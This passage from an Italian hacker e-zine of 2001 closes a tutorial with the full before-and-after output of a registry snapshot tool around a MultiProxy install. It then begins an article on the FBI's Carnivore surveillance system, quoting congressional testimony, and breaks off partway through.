scegliere se crearlo in html o in formato testo. In ultimo troviamo un tasto "advanced options", che permette di escludere delle determinate chiavi del registro dal "controllo". A questo punto andiamo a vedere nel dettaglio come funziona questo programma, facendo uno snap. installando un programma qualunque e poi facendo un secondo snap ed un paragone. Una volta temrimata la prima "foto" compare una msgbox che riporta alcune condizioni del pc. La mia dice : -Registry Snapshot: Registry contains 42788 keys and 61673 values. -Filelist Snapshot for C:\WINDOWS\*.*: 1115 files -Filelist Snapshot for C:\WINDOWS\SYSTEM|*.*: 1246 files. -Ini Snap for: win.ini; 30 keys, 703 values. -Ini Snap for: system.ini; 15 keys, 161 values. -Textfile Snapshot for: c:\autoexec.bat. -Textfile Snapshot for: c:\config.sys. Dopo aver installato il programma, un programma che ho preso a caso dall'ultimo numero di inter.net, andiamo ad eseguire il secondo snapshot, terminata la lettura ecco che compare la solita finestrella, che dice: -Registry Snapshot: Registry contains 42790 keys and 61678 values. -Filelist Snapshot for C:\WINDOWS\*.*: 1115 files -Filelist Snapshot for C:\WINDOWS\SYSTEM|*.*: 1246 files. -Ini Snap for: win.ini; 30 keys, 703 values. -Ini Snap for: system.ini; 15 keys, 161 values. -Textfile Snapshot for: c:\autoexec.bat. -Textfile Snapshot for: c:\config.sys. Andiamo ora a visualizzare il responso che abbbiamo ottenuto paragonando i due file: Registry report Summary info: Deleted keys: 1 Modified keys: 24 New keys : 6 Deleted keys HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\107\ViewView2 Value: Type: REG_BINARY Length: 523 byte(s) 1C 00 00 00 01 00 00 00 00 00 00 00 00 00 30 00 | ..............0. 00 00 00 00 01 00 00 00 FF FF FF FF F0 F0 F0 F0 | ................ 14 00 03 00 0B 02 00 00 00 00 00 00 00 00 00 00 | ................ 75 00 00 00 02 00 00 00 3C 00 32 00 C0 5C 15 00 | u.......<.2..\.. 6F 2A 78 4C 20 00 42 65 6E 69 74 6F 20 4D 75 73 | o*xL .Benito Mus 73 6F 6C 69 6E 69 20 2D 20 43 69 61 6F 20 42 69 | solini - Ciao Bi 6F 6E 64 69 6E 61 2E 31 00 42 45 4E 49 54 4F 7E | ondina.1.BENITO~ 31 2E 31 00 A8 00 00 00 02 00 00 00 3C 00 32 00 | 1.1.........<.2. C0 5C 15 00 6F 2A 78 4C 20 00 42 65 6E 69 74 6F | .\..o*xL .Benito 20 4D 75 73 73 6F 6C 69 6E 69 20 2D 20 43 69 61 | Mussolini - Cia 6F 20 42 69 6F 6E 64 69 6E 61 2E 32 00 42 45 4E | o Biondina.2.BEN 49 54 4F 7E 31 2E 32 00 0F 00 00 00 02 00 00 00 | ITO~1.2......... 3C 00 32 00 37 23 0D 00 6F 2A 79 4C 20 00 42 65 | <.2.7#..o*yL .Be 6E 69 74 6F 20 4D 75 73 73 6F 6C 69 6E 69 20 2D | nito Mussolini - 20 43 69 61 6F 20 42 69 6F 6E 64 69 6E 61 2E 33 | Ciao Biondina.3 00 42 45 4E 49 54 4F 7E 31 2E 33 00 42 00 00 00 | .BENITO~1.3.B... 02 00 00 00 40 00 32 00 F6 00 00 00 6F 2A 78 4C | ....@.2.....o*xL 20 00 42 65 6E 69 74 6F 20 4D 75 73 73 6F 6C 69 | .Benito Mussoli 6E 69 20 2D 20 43 69 61 6F 20 42 69 6F 6E 64 69 | ni - Ciao Biondi 6E 61 2E 62 61 74 00 42 45 4E 49 54 4F 7E 31 2E | na.bat.BENITO~1. 42 41 54 00 DB 00 00 00 02 00 00 00 35 00 32 00 | BAT.........5.2. C0 5C 15 00 6F 2A CC 4B 20 00 4D 75 73 73 6F 6C | .\..o*.K .Mussol 69 6E 69 20 2D 20 46 61 63 63 65 74 74 61 20 4E | ini - Faccetta N 65 72 61 2E 31 00 4D 55 53 53 4F 4C 7E 31 2E 31 | era.1.MUSSOL~1.1 00 0F 00 00 00 35 00 00 00 35 00 32 00 40 63 04 | .....5...5.2.@c. 00 6F 2A CC 4B 20 00 4D 75 73 73 6F 6C 69 6E 69 | .o*.K .Mussolini 20 2D 20 46 61 63 63 65 74 74 61 20 4E 65 72 61 | - Faccetta Nera 2E 32 00 4D 55 53 53 4F 4C 7E 31 2E 32 00 0E 01 | .2.MUSSOL~1.2... 00 00 02 00 00 00 39 00 32 00 B3 00 00 00 6F 2A | ......9.2.....o* CC 4B 20 00 4D 75 73 73 6F 6C 69 6E 69 20 2D 20 | .K .Mussolini - 46 61 63 63 65 74 74 61 20 4E 65 72 61 2E 62 61 | Faccetta Nera.ba 74 00 4D 55 53 53 4F 4C 7E 31 2E 42 41 54 00 0E | t.MUSSOL~1.BAT.. 01 00 00 02 00 00 00 00 00 D1 7F | .......... -------------- Total positions: 1 Modified keys HKEY_LOCAL_MACHINE\Software\CLASSES\TypeLib\{248DD890-BB45-11CF-9ABC-0080C7E7B78D}\1.0\@ Old value: String: "Microsoft Winsock Control 6.0" New value: String: "Microsoft Winsock Control 6.0 (SP4)" HKEY_LOCAL_MACHINE\Software\Description\Microsoft\Rpc\UuidPersistentData\LastTimeAllocated Old value: Type: REG_BINARY Length: 8 byte(s) A0 BA D1 50 39 22 D5 01 | ...P9".. New value: Type: REG_BINARY Length: 8 byte(s) 60 60 08 AB 3D 22 D5 01 | ``..=".. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\ASYCFILT.DLL Old value: DWORD: 8 (0x8) New value: DWORD: 9 (0x9) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\COMCAT.DLL Old value: DWORD: 7 (0x7) New value: DWORD: 8 (0x8) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\ComDlg32.ocx Old value: DWORD: 6 (0x6) New value: DWORD: 7 (0x7) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\MSVBVM60.DLL Old value: DWORD: 3 (0x3) New value: DWORD: 4 (0x4) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\MSWINSCK.OCX Old value: DWORD: 5 (0x5) New value: DWORD: 6 (0x6) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\OLEAUT32.DLL Old value: DWORD: 7 (0x7) New value: DWORD: 8 (0x8) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\OLEPRO32.DLL Old value: DWORD: 7 (0x7) New value: DWORD: 8 (0x8) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\STDOLE2.TLB Old value: DWORD: 7 (0x7) New value: DWORD: 8 (0x8) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\VB6STKIT.DLL Old value: DWORD: 2 (0x2) New value: DWORD: 3 (0x3) HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\International\CpMRU\Cache Old value: Type: REG_BINARY Length: 80 byte(s) AF 6F 00 00 5A 1D 00 00 B0 04 00 00 6F 04 00 00 | .o..Z.......o... E4 04 00 00 AD 00 00 00 E3 04 00 00 57 00 00 00 | ............W... E6 04 00 00 16 00 00 00 A8 03 00 00 10 00 00 00 | ................ DC CA 00 00 07 00 00 00 B0 6F 00 00 05 00 00 00 | .........o...... A4 03 00 00 04 00 00 00 E9 FD 00 00 01 00 00 00 | ................ New value: Type: REG_BINARY Length: 80 byte(s) AF 6F 00 00 5C 1D 00 00 B0 04 00 00 6F 04 00 00 | .o..\.......o... E4 04 00 00 AD 00 00 00 E3 04 00 00 57 00 00 00 | ............W... E6 04 00 00 16 00 00 00 A8 03 00 00 10 00 00 00 | ................ DC CA 00 00 07 00 00 00 B0 6F 00 00 05 00 00 00 | .........o...... A4 03 00 00 04 00 00 00 E9 FD 00 00 01 00 00 00 | ................ HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\m Old value: Type: REG_BINARY Length: 41 byte(s) 4E 52 74 72 65 2E 74 78 74 00 1D 00 30 01 00 00 | NRtre.txt...0... 00 00 00 00 00 00 00 00 4E 52 74 72 65 2E 74 78 | ........NRtre.tx 74 2E 6C 6E 6B 00 00 00 00 | t.lnk.... New value: Type: REG_BINARY Length: 41 byte(s) 69 6E 64 65 78 2E 68 74 6D 00 1D 00 30 01 00 00 | index.htm...0... 00 00 00 00 00 00 00 00 69 6E 64 65 78 2E 68 74 | ........index.ht 6D 2E 6C 6E 6B 00 00 00 00 | m.lnk.... HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\MRUList Old value: String: "eokhdgbfjnlcaim" New value: String: "meokhdgbfjnlcai" HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\107 Old value: Type: REG_BINARY Length: 82 byte(s) 2A 00 31 00 00 00 00 00 6F 2A 51 8A 10 00 4E 75 | *.1.....o*Q...Nu 6F 76 61 20 63 61 72 74 65 6C 6C 61 20 28 32 29 | ova cartella (2) 00 4E 55 4F 56 41 43 7E 32 00 26 00 31 00 00 00 | .NUOVAC~2.&.1... 00 00 6F 2A 4C 8B 10 00 4E 75 6F 76 61 20 63 61 | ..o*L...Nuova ca 72 74 65 6C 6C 61 00 4E 55 4F 56 41 43 7E 31 00 | rtella.NUOVAC~1. 00 00 | .. New value: Type: REG_BINARY Length: 105 byte(s) 14 00 1F 0F E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 | .....O. .:i..... 2B 30 30 9D 19 00 25 44 3A 5C 00 00 00 00 00 00 | +00...%D:\...... 00 00 00 00 00 00 00 00 00 00 00 8D CE 18 00 31 | ...............1 00 00 08 00 00 41 2A 36 4F 10 00 68 74 6D 6C 00 | .....A*6O..html. 48 54 4D 4C 00 22 00 32 00 2C 03 00 00 3F 2A 43 | HTML.".2.,...?*C 8E 01 00 69 6E 64 65 78 2E 68 74 6D 00 49 4E 44 | ...index.htm.IND 45 58 2E 48 54 4D 00 00 00 | EX.HTM... HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\136 Old value: Type: REG_BINARY Length: 66 byte(s) 2A 00 31 00 00 00 00 00 6F 2A 51 8A 10 00 4E 75 | *.1.....o*Q...Nu 6F 76 61 20 63 61 72 74 65 6C 6C 61 20 28 32 29 | ova cartella (2) 00 4E 55 4F 56 41 43 7E 32 00 16 00 31 00 00 00 | .NUOVAC~2...1... 00 00 6F 2A 67 8B 10 00 6D 70 33 00 4D 50 33 00 | ..o*g...mp3.MP3. 00 00 | .. New value: Type: REG_BINARY Length: 81 byte(s) 14 00 1F 0F E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 | .....O. .:i..... 2B 30 30 9D 19 00 25 44 3A 5C 00 00 00 00 00 00 | +00...%D:\...... 00 00 00 00 00 00 00 00 00 00 00 8D CE 22 00 32 | .............".2 00 FD 00 00 00 62 29 46 93 01 00 69 6E 64 65 78 | .....b)F...index 2E 68 74 6D 00 49 4E 44 45 58 2E 48 54 4D 00 00 | .htm.INDEX.HTM.. 00 | . HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\MRUListEx Old value: Type: REG_BINARY Length: 804 byte(s) 3B 00 00 00 B5 00 00 00 1A 00 00 00 03 00 00 00 | ;............... AD 00 00 00 02 00 00 00 B7 00 00 00 71 00 00 00 | ............q... 3C 00 00 00 5E 00 00 00 3D 00 00 00 34 00 00 00 | <...^...=...4... 33 00 00 00 95 00 00 00 64 00 00 00 44 00 00 00 | 3.......d...D... 5F 00 00 00 51 00 00 00 52 00 00 00 00 00 00 00 | _...Q...R....... A6 00 00 00 A7 00 00 00 B0 00 00 00 A8 00 00 00 | ................ 65 00 00 00 7E 00 00 00 6A 00 00 00 6C 00 00 00 | e...~...j...l... 0B 00 00 00 28 00 00 00 31 00 00 00 8E 00 00 00 | ....(...1....... BA 00 00 00 42 00 00 00 A2 00 00 00 0C 00 00 00 | ....B........... 2F 00 00 00 46 00 00 00 4F 00 00 00 43 00 00 00 | /...F...O...C... B6 00 00 00 11 00 00 00 6E 00 00 00 0D 00 00 00 | ........n....... 1D 00 00 00 8B 00 00 00 90 00 00 00 7A 00 00 00 | ............z... 94 00 00 00 8A 00 00 00 7F 00 00 00 10 00 00 00 | ............... A9 00 00 00 7C 00 00 00 A3 00 00 00 B9 00 00 00 | ....|........... 22 00 00 00 26 00 00 00 2A 00 00 00 5C 00 00 00 | "...&...*...\... 56 00 00 00 7B 00 00 00 30 00 00 00 37 00 00 00 | V...{...0...7... 3A 00 00 00 2C 00 00 00 5A 00 00 00 3E 00 00 00 | :...,...Z...>... 2E 00 00 00 06 00 00 00 C7 00 00 00 86 00 00 00 | ................ 41 00 00 00 16 00 00 00 17 00 00 00 25 00 00 00 | A...........%... 23 00 00 00 49 00 00 00 39 00 00 00 79 00 00 00 | #...I...9...y... 9E 00 00 00 27 00 00 00 5D 00 00 00 14 00 00 00 | ....'...]....... BC 00 00 00 8C 00 00 00 A0 00 00 00 18 00 00 00 | ................ 68 00 00 00 BB 00 00 00 C4 00 00 00 60 00 00 00 | h...........`... 7D 00 00 00 0A 00 00 00 B3 00 00 00 21 00 00 00 | }...........!... 04 00 00 00 81 00 00 00 C1 00 00 00 C0 00 00 00 | ................ A5 00 00 00 82 00 00 00 1C 00 00 00 07 00 00 00 | ................ 98 00 00 00 24 00 00 00 6F 00 00 00 38 00 00 00 | ....$...o...8... 54 00 00 00 72 00 00 00 A1 00 00 00 BD 00 00 00 | T...r........... 0E 00 00 00 78 00 00 00 66 00 00 00 32 00 00 00 | ....x...f...2... 1E 00 00 00 08 00 00 00 B4 00 00 00 BF 00 00 00 | ................ C3 00 00 00 C5 00 00 00 85 00 00 00 AB 00 00 00 | ................ 29 00 00 00 AF 00 00 00 57 00 00 00 19 00 00 00 | ).......W....... 15 00 00 00 09 00 00 00 67 00 00 00 5B 00 00 00 | ........g...[... 45 00 00 00 2B 00 00 00 87 00 00 00 4B 00 00 00 | E...+.......K... 70 00 00 00 53 00 00 00 99 00 00 00 91 00 00 00 | p...S........... AC 00 00 00 47 00 00 00 63 00 00 00 59 00 00 00 | ....G...c...Y... 69 00 00 00 C2 00 00 00 B2 00 00 00 36 00 00 00 | i...........6... 48 00 00 00 80 00 00 00 96 00 00 00 3F 00 00 00 | H...........?... 9A 00 00 00 40 00 00 00 AE 00 00 00 55 00 00 00 | ....@.......U... 84 00 00 00 13 00 00 00 61 00 00 00 B1 00 00 00 | ........a....... 50 00 00 00 9D 00 00 00 74 00 00 00 76 00 00 00 | P.......t...v... 0F 00 00 00 58 00 00 00 89 00 00 00 9F 00 00 00 | ....X........... 8F 00 00 00 9B 00 00 00 83 00 00 00 20 00 00 00 | ............ ... AA 00 00 00 97 00 00 00 4C 00 00 00 1F 00 00 00 | ........L....... 4D 00 00 00 4E 00 00 00 77 00 00 00 1B 00 00 00 | M...N...w....... 9C 00 00 00 93 00 00 00 73 00 00 00 01 00 00 00 | ........s....... 8D 00 00 00 05 00 00 00 C6 00 00 00 35 00 00 00 | ............5... 62 00 00 00 92 00 00 00 2D 00 00 00 75 00 00 00 | b.......-...u... B8 00 00 00 A4 00 00 00 12 00 00 00 BE 00 00 00 | ................ 4A 00 00 00 6D 00 00 00 6B 00 00 00 88 00 00 00 | J...m...k....... FF FF FF FF | .... New value: Type: REG_BINARY Length: 804 byte(s) 2F 00 00 00 6B 00 00 00 88 00 00 00 02 00 00 00 | /...k........... 3B 00 00 00 B5 00 00 00 1A 00 00 00 03 00 00 00 | ;............... AD 00 00 00 B7 00 00 00 71 00 00 00 3C 00 00 00 | ........q...<... 5E 00 00 00 3D 00 00 00 34 00 00 00 33 00 00 00 | ^...=...4...3... 95 00 00 00 64 00 00 00 44 00 00 00 5F 00 00 00 | ....d...D..._... 51 00 00 00 52 00 00 00 00 00 00 00 A6 00 00 00 | Q...R........... A7 00 00 00 B0 00 00 00 A8 00 00 00 65 00 00 00 | ............e... 7E 00 00 00 6A 00 00 00 6C 00 00 00 0B 00 00 00 | ~...j...l....... 28 00 00 00 31 00 00 00 8E 00 00 00 BA 00 00 00 | (...1........... 42 00 00 00 A2 00 00 00 0C 00 00 00 46 00 00 00 | B...........F... 4F 00 00 00 43 00 00 00 B6 00 00 00 11 00 00 00 | O...C........... 6E 00 00 00 0D 00 00 00 1D 00 00 00 8B 00 00 00 | n............... 90 00 00 00 7A 00 00 00 94 00 00 00 8A 00 00 00 | ....z........... 7F 00 00 00 10 00 00 00 A9 00 00 00 7C 00 00 00 | ...........|... A3 00 00 00 B9 00 00 00 22 00 00 00 26 00 00 00 | ........"...&... 2A 00 00 00 5C 00 00 00 56 00 00 00 7B 00 00 00 | *...\...V...{... 30 00 00 00 37 00 00 00 3A 00 00 00 2C 00 00 00 | 0...7...:...,... 5A 00 00 00 3E 00 00 00 2E 00 00 00 06 00 00 00 | Z...>........... C7 00 00 00 86 00 00 00 41 00 00 00 16 00 00 00 | ........A....... 17 00 00 00 25 00 00 00 23 00 00 00 49 00 00 00 | ....%...#...I... 39 00 00 00 79 00 00 00 9E 00 00 00 27 00 00 00 | 9...y.......'... 5D 00 00 00 14 00 00 00 BC 00 00 00 8C 00 00 00 | ]............... A0 00 00 00 18 00 00 00 68 00 00 00 BB 00 00 00 | ........h....... C4 00 00 00 60 00 00 00 7D 00 00 00 0A 00 00 00 | ....`...}....... B3 00 00 00 21 00 00 00 04 00 00 00 81 00 00 00 | ....!........... C1 00 00 00 C0 00 00 00 A5 00 00 00 82 00 00 00 | ................ 1C 00 00 00 07 00 00 00 98 00 00 00 24 00 00 00 | ............$... 6F 00 00 00 38 00 00 00 54 00 00 00 72 00 00 00 | o...8...T...r... A1 00 00 00 BD 00 00 00 0E 00 00 00 78 00 00 00 | ............x... 66 00 00 00 32 00 00 00 1E 00 00 00 08 00 00 00 | f...2........... B4 00 00 00 BF 00 00 00 C3 00 00 00 C5 00 00 00 | ................ 85 00 00 00 AB 00 00 00 29 00 00 00 AF 00 00 00 | ........)....... 57 00 00 00 19 00 00 00 15 00 00 00 09 00 00 00 | W............... 67 00 00 00 5B 00 00 00 45 00 00 00 2B 00 00 00 | g...[...E...+... 87 00 00 00 4B 00 00 00 70 00 00 00 53 00 00 00 | ....K...p...S... 99 00 00 00 91 00 00 00 AC 00 00 00 47 00 00 00 | ............G... 63 00 00 00 59 00 00 00 69 00 00 00 C2 00 00 00 | c...Y...i....... B2 00 00 00 36 00 00 00 48 00 00 00 80 00 00 00 | ....6...H....... 96 00 00 00 3F 00 00 00 9A 00 00 00 40 00 00 00 | ....?.......@... AE 00 00 00 55 00 00 00 84 00 00 00 13 00 00 00 | ....U........... 61 00 00 00 B1 00 00 00 50 00 00 00 9D 00 00 00 | a.......P....... 74 00 00 00 76 00 00 00 0F 00 00 00 58 00 00 00 | t...v.......X... 89 00 00 00 9F 00 00 00 8F 00 00 00 9B 00 00 00 | ................ 83 00 00 00 20 00 00 00 AA 00 00 00 97 00 00 00 | .... ........... 4C 00 00 00 1F 00 00 00 4D 00 00 00 4E 00 00 00 | L.......M...N... 77 00 00 00 1B 00 00 00 9C 00 00 00 93 00 00 00 | w............... 73 00 00 00 01 00 00 00 8D 00 00 00 05 00 00 00 | s............... C6 00 00 00 35 00 00 00 62 00 00 00 92 00 00 00 | ....5...b....... 2D 00 00 00 75 00 00 00 B8 00 00 00 A4 00 00 00 | -...u........... 12 00 00 00 BE 00 00 00 4A 00 00 00 6D 00 00 00 | ........J...m... FF FF FF FF | .... HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\107\CabView Old value: Type: REG_BINARY Length: 92 byte(s) 5C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF | \............... FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 | ................ 00 00 00 00 00 02 00 00 A6 01 00 00 01 00 00 00 | ................ 00 00 00 00 24 37 48 00 00 00 00 00 1E 00 00 00 | ....$7H......... 07 00 00 00 E0 FF 84 59 D4 28 CF 11 AE 66 08 00 | .......Y.(...f.. 2B 2E 12 62 01 00 00 00 07 00 00 00 | +..b........ New value: Type: REG_BINARY Length: 92 byte(s) 5C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF | \............... FF FF FF FF FF FF FF FF FF FF FF FF 58 00 00 00 | ............X... 58 00 00 00 B0 02 00 00 E1 01 00 00 01 00 00 00 | X............... 00 00 00 00 5C 4A F7 BF 00 00 00 00 5E 16 E8 BF | ....\J......^... 06 00 00 00 F8 7A 3A 7F CA 9F 39 7F 80 DB 58 00 | .....z:..9..X. 1E 9F 39 7F 01 00 00 00 07 00 00 00 | ..9........ HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\136\CabView Old value: Type: REG_BINARY Length: 92 byte(s) 5C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF | \............... FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 | ................ 00 00 00 00 00 02 00 00 A6 01 00 00 01 00 00 00 | ................ 00 00 00 00 24 37 48 00 00 00 00 00 1E 00 00 00 | ....$7H......... 07 00 00 00 E0 FF 84 59 D4 28 CF 11 AE 66 08 00 | .......Y.(...f.. 2B 2E 12 62 01 00 00 00 07 00 00 00 | +..b........ New value: Type: REG_BINARY Length: 92 byte(s) 5C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF | \............... FF FF FF FF FF FF FF FF FF FF FF FF 58 00 00 00 | ............X... 58 00 00 00 B0 02 00 00 E1 01 00 00 01 00 00 00 | X............... 00 00 00 00 00 00 00 00 00 00 00 00 1E 00 00 00 | ................ 06 00 00 00 00 00 00 00 04 00 00 00 AC C8 58 00 | ..............X. 88 E2 B8 77 01 00 00 00 07 00 00 00 | ...w........ HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\47\CabView Old value: Type: REG_BINARY Length: 92 byte(s) 5C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF | \............... FF FF FF FF FF FF FF FF FF FF FF FF 42 00 00 00 | ............B... 42 00 00 00 5E 01 00 00 5D 01 00 00 01 00 00 00 | B...^...]....... 00 00 00 00 00 00 00 00 00 00 00 00 7F 04 00 00 | ............... 07 00 00 00 E0 FF 84 59 D4 28 CF 11 AE 66 08 00 | .......Y.(...f.. 2B 2E 12 62 01 00 00 00 07 00 00 00 | +..b........ New value: Type: REG_BINARY Length: 92 byte(s) 5C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF | \............... FF FF FF FF FF FF FF FF FF FF FF FF 42 00 00 00 | ............B... 42 00 00 00 5E 01 00 00 5D 01 00 00 01 00 00 00 | B...^...]....... 00 00 00 00 30 50 00 00 00 00 00 00 BE 28 F7 BF | ....0P.......(.. 07 00 00 00 E0 FF 84 59 D4 28 CF 11 AE 66 08 00 | .......Y.(...f.. 2B 2E 12 62 01 00 00 00 07 00 00 00 | +..b........ HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count\HRZR_HVGBBYONE Old value: Type: REG_BINARY Length: 8 byte(s) 60 01 00 00 85 08 00 00 | `....... New value: Type: REG_BINARY Length: 8 byte(s) 61 01 00 00 87 08 00 00 | a....... HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count\HRZR_HVGBBYONE:0k1,120 Old value: Type: REG_BINARY Length: 8 byte(s) 60 01 00 00 F3 06 00 00 | `....... New value: Type: REG_BINARY Length: 8 byte(s) 61 01 00 00 F4 06 00 00 | a....... HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count\HRZR_HVGBBYONE:0k1,121 Old value: Type: REG_BINARY Length: 8 byte(s) 53 01 00 00 0D 00 00 00 | S....... New value: Type: REG_BINARY Length: 8 byte(s) 61 01 00 00 09 00 00 00 | a....... HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\HRZR_HVDPHG Old value: Type: REG_BINARY Length: 8 byte(s) 56 01 00 00 AC 0C 00 00 | V....... New value: Type: REG_BINARY Length: 8 byte(s) 57 01 00 00 AD 0C 00 00 | W....... -------------- Total positions: 24 New keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\MProxy.exe\@ Value: String: "C:\Programmi\MultiProxy\MProxy.exe" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\ST6UNST #1\ApplicationName Value: String: "MProxy.exe" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\ST6UNST #1\AppToUninstall Value: String: "MProxy.exe" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\ST6UNST #1\DisplayName Value: String: "MultiProxy" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\ST6UNST #1\UninstallString Value: String: "C:\WINDOWS\st6unst.exe -n "C:\Programmi\MultiProxy\ST6UNST.LOG" " HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Shutdown\SetupProgramRan Value: DWORD: 2 (0x2) -------------- Total positions: 6 File list in C:\WINDOWS\*.* Summary info: Deleted files: 0 Modified files: 8 New files : 0 Modified files powerpnt.ini Old: Size: 60 , Date/Time: sabato 24 marzo 2001 20.46.24 New: Size: 60 , Date/Time: lunedì 26 marzo 2001 23.18.26 setup1.exe Old: Size: 286 720 , Date/Time: martedì 05 dicembre 2000 19.29.32 New: Size: 249 856 , Date/Time: lunedì 26 marzo 2001 23.17.46 st6unst.exe Old: Size: 73 216 , Date/Time: martedì 05 dicembre 2000 19.29.06 New: Size: 73 216 , Date/Time: lunedì 26 marzo 2001 23.17.14 system.dat Old: Size: 5 464 096 , Date/Time: lunedì 26 marzo 2001 22.44.00 New: Size: 5 464 096 , Date/Time: lunedì 26 marzo 2001 23.18.42 system.ini Old: Size: 1 948 , Date/Time: lunedì 26 marzo 2001 19.57.36 New: Size: 1 948 , Date/Time: lunedì 26 marzo 2001 23.18.26 user.dat Old: Size: 745 504 , Date/Time: lunedì 26 marzo 2001 23.04.12 New: Size: 745 504 , Date/Time: lunedì 26 marzo 2001 23.18.42 wavemix.ini Old: Size: 54 , Date/Time: sabato 24 marzo 2001 20.46.24 New: Size: 54 , Date/Time: lunedì 26 marzo 2001 23.18.26 win386.swp Old: Size: 58 720 256 , Date/Time: lunedì 26 marzo 2001 23.06.22 New: Size: 79 691 776 , Date/Time: lunedì 26 marzo 2001 23.17.52 -------------- Total positions: 8 File list in C:\WINDOWS\SYSTEM\*.* Summary info: Deleted files: 0 Modified files: 2 New files : 0 Modified files mswinsck.ocx Old: Size: 108 336 , Date/Time: mercoledì 24 giugno 1998 00.00.00 New: Size: 109 248 , Date/Time: lunedì 22 maggio 2000 00.00.00 vb6stkit.dll Old: Size: 102 912 , Date/Time: mercoledì 05 agosto 1998 00.00.00 New: Size: 101 888 , Date/Time: martedì 01 giugno 1999 00.00.00 -------------- Total positions: 2 win.ini report Summary info: Deleted keys: 0 Modified keys: 0 New keys : 0 system.ini report Summary info: Deleted keys: 0 Modified keys: 0 New keys : 0 c:\autoexec.bat report unchanged c:\config.sys report unchanged +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 | | CARNiV0RE DiAGN0STiC T00L ........................... [Screener_it] 0x17/0x25 | +-------------------------------------------------------------------------------+ */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Autore: Screener_it email: screener_it@freemail.it URL: http://go.to/tankcommandos DATA: 22/03/01 */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Le presenti informazioni sono facilmente recuperabili in Rete, anche sul sito dell'FBI. Quindi su questo articolo non saranno dette cose sconosciute totalmente, ma verranno solo trattate argomentazioni sconosciute ai più. */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Siamo davvero soli ? Il 6 settembre 2000 questa domanda ha avuto una risposta. La risposta è NO. Il 6 settembre 2000 il signor Donald M. Kerr presentava al senato degli Stati Uniti d'America (USA) il programma Carnivore. Con questa data anche la più piccola speranza di anonimimato in Rete è sparita. Tra virgolette ( " " ) saranno riportati passi del discorso pronunciato il 6 settembre. E voi credevate che con Echelon finisse tutto.. */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ "Buongiorno , Mr Chairman e membri del comitato. Vi sono grato per l'oppportunità di poter parlare di Carnivor - un sistema designato specificamente per forzare la privacy e allo stesso tempo rispettare la legge. Carnivore è un sistema che contiamo possa venirci in aiuto nei casi critici di combattimento al terrorismo, allo spionaggio, alla guerra d'informazioni, all'hacking ed altri crimini violenti che usano Internet, per difendere la nostra Nazione e la nostra gente. Nel mio discorso toccherò principalmente 5 punti: 1.- Perchè 